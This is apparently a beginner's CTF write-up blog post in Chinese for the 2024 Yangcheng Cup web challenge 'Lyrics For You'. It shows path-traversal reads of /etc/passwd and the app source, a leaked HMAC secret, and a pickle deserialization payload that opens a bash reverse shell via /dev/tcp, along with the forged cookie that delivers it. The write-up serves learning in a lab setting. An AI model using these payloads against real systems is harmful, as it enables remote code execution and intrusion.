【2024羊城杯】初赛WEB-Lyrics For You解题分享

【2024羊城杯】初赛WEB-Lyrics For You解题分享

初步分析,获取源码

靶机开启后只显示一个页面,页面有三个超链接,打开后url为https://ip:port/lyrics?lyrics=Rain.txt,初步推测为路径拼接文件读取,返回文件内容。

使用lyrics=/…/…/…/…/…/…/…/etc/passwd发现读取服务器用户信息成功,

改为lyrics=/…/…/…/…/…/…/…/proc/self/cmdline读取当前进程完整命令,

显示python -u /usr/etc/app/app.py,

访问lyrics=/…/…/…/…/…/…/…/usr/etc/app/app.py读取源码

  • app.py

    import os
    import random
    from flask import Flask, make_response, request, render_template
    from config.secret_key import secret_code
    from cookie import set_cookie, cookie_check, get_cookie
    import pickle
    
    app = Flask(__name__)
    
    # 设置Flask应用的密钥,用于会话加密
    app.secret_key = random.randbytes(16)
    
    class UserData:
        """用户数据类,存储用户名"""
    
        def __init__(self, username):
            self.username = username
    
    def Waf(data):
        """
        Web应用防火墙函数,检查数据中是否包含黑名单中的敏感词汇
        :param data: 待检测的数据
        :return: 如果数据中包含敏感词则返回True,否则返回False
        """
        blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
        valid = False
        for word in blacklist:
            if word.lower() in data.lower():
                valid = True
                break
        return valid
    
    @app.route("/", methods=['GET'])
    def index():
        """
        处理首页请求,渲染index.html模板
        :return: 渲染的HTML页面
        """
        return render_template('index.html')
    
    @app.route("/lyrics", methods=['GET'])
    def lyrics():
        """
        处理歌词请求,根据请求参数返回指定歌词文件的内容
        :return: 歌词文件内容或错误消息
        """
        resp = make_response()
        resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
    
        query = request.args.get("lyrics")
        path = os.path.join(os.getcwd() + "/lyrics", query)
    
        try:
            with open(path) as f:
                res = f.read()
        except Exception as e:
            return "No lyrics found"
    
        return res
    
    @app.route("/login", methods=['POST', 'GET'])
    def login():
        """
        处理用户登录请求,如果是POST请求则设置用户cookie
        :return: 登录页面或设置cookie后的响应
        """
        if request.method == 'POST':
            username = request.form["username"]
            user = UserData(username)
            res = {"username": user.username}
            return set_cookie("user", res, secret=secret_code)
    
        return render_template('login.html')
    
    @app.route("/board", methods=['GET'])
    def board():
        """
        处理留言板请求,根据用户cookie显示不同的页面
        :return: 渲染的用户或管理员页面
        """
        invalid = cookie_check("user", secret=secret_code)
    
        if invalid:
            return "Nope, invalid code get out!"
    
        data = get_cookie("user", secret=secret_code)
    
        if isinstance(data, bytes):
            a = pickle.loads(data)
            data = str(data, encoding="utf-8")
    
        if "username" not in data:
            return render_template('user.html', name="guest")
    
        if data["username"] == "admin":
            return render_template('admin.html', name=data["username"])
    
        if data["username"] != "admin":
            return render_template('user.html', name=data["username"])
    
    if __name__ == "__main__":
        # 设置工作目录为当前文件所在的目录
        os.chdir(os.path.dirname(__file__))
        # 运行Flask应用
        app.run(host="0.0.0.0", port=8080)
    
    

跟据import内容

读取cookie.py和secret_key

  • cookie.py

    import base64
    import hashlib
    import hmac
    import pickle
    from flask import make_response, request
    
    # Compatibility layer for Python 3
    unicode = str
    basestring = str
    secret_code = "EnjoyThePlayTime123456"
    data=
    def cookie_encode(data, key):
        msg = base64.b64encode(pickle.dumps(data, -1))
        sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
        return tob('!') + sig + tob('?') + msg
    
    def cookie_decode(data, key):
        data = tob(data)
        if cookie_is_encoded(data):
            sig, msg = data.split(tob('?'), 1)
            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
                return pickle.loads(base64.b64decode(msg))
        return None
    
    def waf(data):
        blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
        valid = False
        for word in blacklist:
            if word in data:
                valid = True
                break
        return valid
    
    def cookie_check(key, secret=None):
        a = request.cookies.get(key)
        data = tob(request.cookies.get(key))
        if data:
            if cookie_is_encoded(data):
                sig, msg = data.split(tob('?'), 1)
                if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
                    res = base64.b64decode(msg)
                    if waf(res):
                        return True
                    else:
                        return False
                return True
        else:
            return False
    
    def tob(s, enc='utf8'):
        return s.encode(enc) if isinstance(s, unicode) else bytes(s)
    
    def get_cookie(key, default=None, secret=None):
        value = request.cookies.get(key)
        if secret and value:
            dec = cookie_decode(value, secret)
            return dec[1] if dec and dec[0] == key else default
        return value or default
    
    def cookie_is_encoded(data):
        return bool(data.startswith(tob('!')) and tob('?') in data)
    
    def _lscmp(a, b):
        return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)
    
    def set_cookie(name, value, secret=None, **options):
        if secret:
            value = touni(cookie_encode((name, value), secret))
            resp = make_response("success")
            resp.set_cookie("user", value, max_age=3600)
            return resp
        elif not isinstance(value, basestring):
            raise TypeError('Secret key missing for non-string Cookie.')
        if len(value) > 4096:
            raise ValueError('Cookie value too long.')
    
    def touni(s, enc='utf8', err='strict'):
        return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)
    
    
  • secret_key
    secret_code = "EnjoyThePlayTime123456"

源码分析

app.py

def Waf(data):
    """
    Web应用防火墙函数,检查数据中是否包含黑名单中的敏感词汇
    :param data: 待检测的数据
    :return: 如果数据中包含敏感词则返回True,否则返回False
    """
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word.lower() in data.lower():
            valid = True
            break
    return valid

app.py莫名有个waf在这,肯定不是白放的

@app.route("/board", methods=['GET'])
def board():
    """
    处理留言板请求,根据用户cookie显示不同的页面
    :return: 渲染的用户或管理员页面
    """
    invalid = cookie_check("user", secret=secret_code)

    if invalid:
        return "Nope, invalid code get out!"

    data = get_cookie("user", secret=secret_code)

    if isinstance(data, bytes):
        a = pickle.loads(data) #**这里有pickle反序列化漏洞**
        data = str(data, encoding="utf-8")

    if "username" not in data:
        return render_template('user.html', name="guest")

    if data["username"] == "admin":
        return render_template('admin.html', name=data["username"])

    if data["username"] != "admin":
        return render_template('user.html', name=data["username"])

if __name__ == "__main__":
    # 设置工作目录为当前文件所在的目录
    os.chdir(os.path.dirname(__file__))
    # 运行Flask应用
    app.run(host="0.0.0.0", port=8080)

接下来只要通过伪造session传递数据到pickle.loads(data),然后使用系统命令执行反弹shell

(S'bash -c "bash -i >& /dev/tcp/ip/4000 0>&1"'
ios
system
.

cookie.py

直接调用cookie_encode函数

data=('user',b'''(S'bash -c "bash -i >& /dev/tcp/ip/4000 0>&1"'
ios
system
.''')
print(cookie_encode(data, secret_code))

user=!fzBR6MTlPIgw1wjf8B3CXw==?gAWVSAAAAAAAAACMBHVzZXKUQzsoUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwLzQwMDAgMD4mMSInCmlvcwpzeXN0ZW0KLpSGlC4=

反弹shell

先访问/login,之后访问/board,

使用Burpsuite拦截,修改cookie为需要的内容

本地监听4000端口,反弹shell成功

初步尝试读取flag

cat /flag显示没有权限,提权也还没学会

ls后,发现根目录有/readflag文件

直接运行得到flag

总结

和去年的2023羊城杯的Serpent很像,思路也差不多,只是细节上不太一样,但是新人菜鸡做了快一天,这一天学的比一暑假都多(还被队友骂了

叠甲:新人CTFer第一次做这么复杂的题目,如果有错误麻烦各位师傅指出来,自己查到的相关资料放在最后了,感谢看到这里Ciallo~(∠・ω< )⌒☆

扩展链接:

  1. 2023年“羊城杯”网络安全大赛 Web方向题解wp 全_羊城杯2023wp-CSDN博客
  2. 羊城杯 2023 Writeup - 星盟安全团队 (xmcve.com)
  3. pickle反序列化初探 - 先知社区 (aliyun.com)
  4. pickle反序列化漏洞基础知识与绕过简析 - 先知社区 (aliyun.com)
  5. Linux各目录及每个目录的详细介绍 - lin_zone - 博客园 (cnblogs.com)
  • 17
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值